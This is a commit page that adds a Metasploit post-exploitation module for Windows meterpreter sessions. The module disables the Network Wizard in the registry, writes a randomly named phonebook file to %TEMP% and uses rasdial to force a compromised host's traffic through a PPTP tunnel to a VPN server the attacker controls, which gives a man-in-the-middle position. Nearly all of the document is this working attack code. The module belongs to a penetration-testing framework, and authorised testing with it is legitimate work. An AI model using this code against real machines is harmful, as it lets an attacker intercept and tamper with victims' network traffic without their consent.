Skip to content

Commit ba5d6fc

Browse files
rootroot
authored andcommitted
Added post module to get a MITM through a pptp tunnel
1 parent 9086c53 commit ba5d6fc

File tree

1 file changed

+109
-0
lines changed

1 file changed

+109
-0
lines changed
Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
class Metasploit3 < Msf::Post
9+
10+
include Msf::Post::Windows::Priv
11+
include Msf::Post::Common
12+
include Msf::Post::File
13+
include Msf::Post::Windows::Registry
14+
15+
def initialize(info={})
16+
super( update_info( info,
17+
'Name' => 'Windows Manage Remote Point-to-Point Tunneling Protocol',
18+
'Description' => %q{
19+
This module iniciates a PPTP connection to a remote machine (VPN server). Once the
20+
tunnel is created we can use it to force the victim traffic to go through the server getting
21+
a man in the middle attack. Be sure to allow forwarding and masquerading in the server},
22+
'License' => MSF_LICENSE,
23+
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
24+
'References' =>
25+
[
26+
['URL', 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1']
27+
],
28+
'Platform' => [ 'windows' ],
29+
'SessionTypes' => [ 'meterpreter' ]
30+
))
31+
32+
register_options(
33+
[
34+
OptString.new('USERNAME', [true, 'VPN Username.' ]),
35+
OptString.new('PASSWORD', [true, 'VPN Password.' ]),
36+
OptBool.new('MIM', [true, 'Man in the middle.', true]),
37+
OptInt.new('TIMEOUT', [true, 'Timeout for the tunnel creation.', 60]),
38+
OptString.new('PBK_NAME', [true, 'PhoneBook entry name.', 'MSF']),
39+
OptAddress.new('RHOST', [true, 'VPN server.'])
40+
], self.class)
41+
end
42+
43+
44+
def run
45+
disable_network_wizard if sysinfo["OS"] =~ /Windows 7|Vista|2008/
46+
47+
pbk = create_pbk(datastore['MIM'],datastore['PBK_NAME'])
48+
to = (datastore['TIMEOUT'].zero?) ? 60 : datastore['TIMEOUT']
49+
begin
50+
::Timeout.timeout(to) do
51+
run_rasdial(pbk,datastore['USERNAME'],datastore['PASSWORD'],datastore['CONNECTION_NAME'],datastore['RHOST'],datastore['PBK_NAME'])
52+
end
53+
rescue ::Timeout::Error
54+
print_error("Timeout after #{to} seconds")
55+
end
56+
file_rm(pbk)
57+
print_status("Phonebook deleted")
58+
end
59+
60+
61+
def disable_network_wizard
62+
if not is_admin?
63+
print_error("You don't have enough privileges to change the registry. Network Wizard will no be disable")
64+
return
65+
end
66+
67+
key = 'HKLM\\System\\CurrentControlSet\\Control\\Network'
68+
value = "NewNetworkWindowOff"
69+
begin
70+
if not registry_getvaldata(key,value)
71+
registry_setvaldata(key,value,3,"REG_BINARY")
72+
print_good("Network Wizard disabled")
73+
end
74+
rescue::Exception => e
75+
print_status("The following Error was encountered: #{e.class} #{e}")
76+
end
77+
end
78+
79+
80+
def create_pbk(mim,pbk_name)
81+
pbk_dir = expand_path("%TEMP%")
82+
pbk_file = pbk_dir << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pbk"
83+
84+
conf_conn = "[#{pbk_name}]\r\n\r\n"
85+
conf_conn += "MEDIA=rastapi\r\n"
86+
conf_conn += "Port=VPN4-0\r\n"
87+
conf_conn += "DEVICE=vpn\r\n"
88+
conf_conn += "IpPrioritizeRemote=0\r\n" if mim == false
89+
90+
if write_file(pbk_file,conf_conn)
91+
print_good ("PhoneBook configuration written to #{pbk_file}")
92+
return pbk_file
93+
end
94+
end
95+
96+
97+
def run_rasdial(pbk,user,pass,conn,rhost,pbk_name)
98+
print_status ("Establishing connection ...")
99+
cmd_exec("rasdial","/disconnect")
100+
output_run = cmd_exec("rasdial","#{pbk_name} #{user} #{pass} /PHONE:#{rhost} /PHONEBOOK:#{pbk}")
101+
output_view = cmd_exec("rasdial", nil)
102+
103+
if output_view =~ /#{pbk_name}/i
104+
print_good("Connection Successful")
105+
else
106+
print_error("Connection failure: #{output_run}")
107+
end
108+
end
109+
end

0 commit comments

Comments
 (0)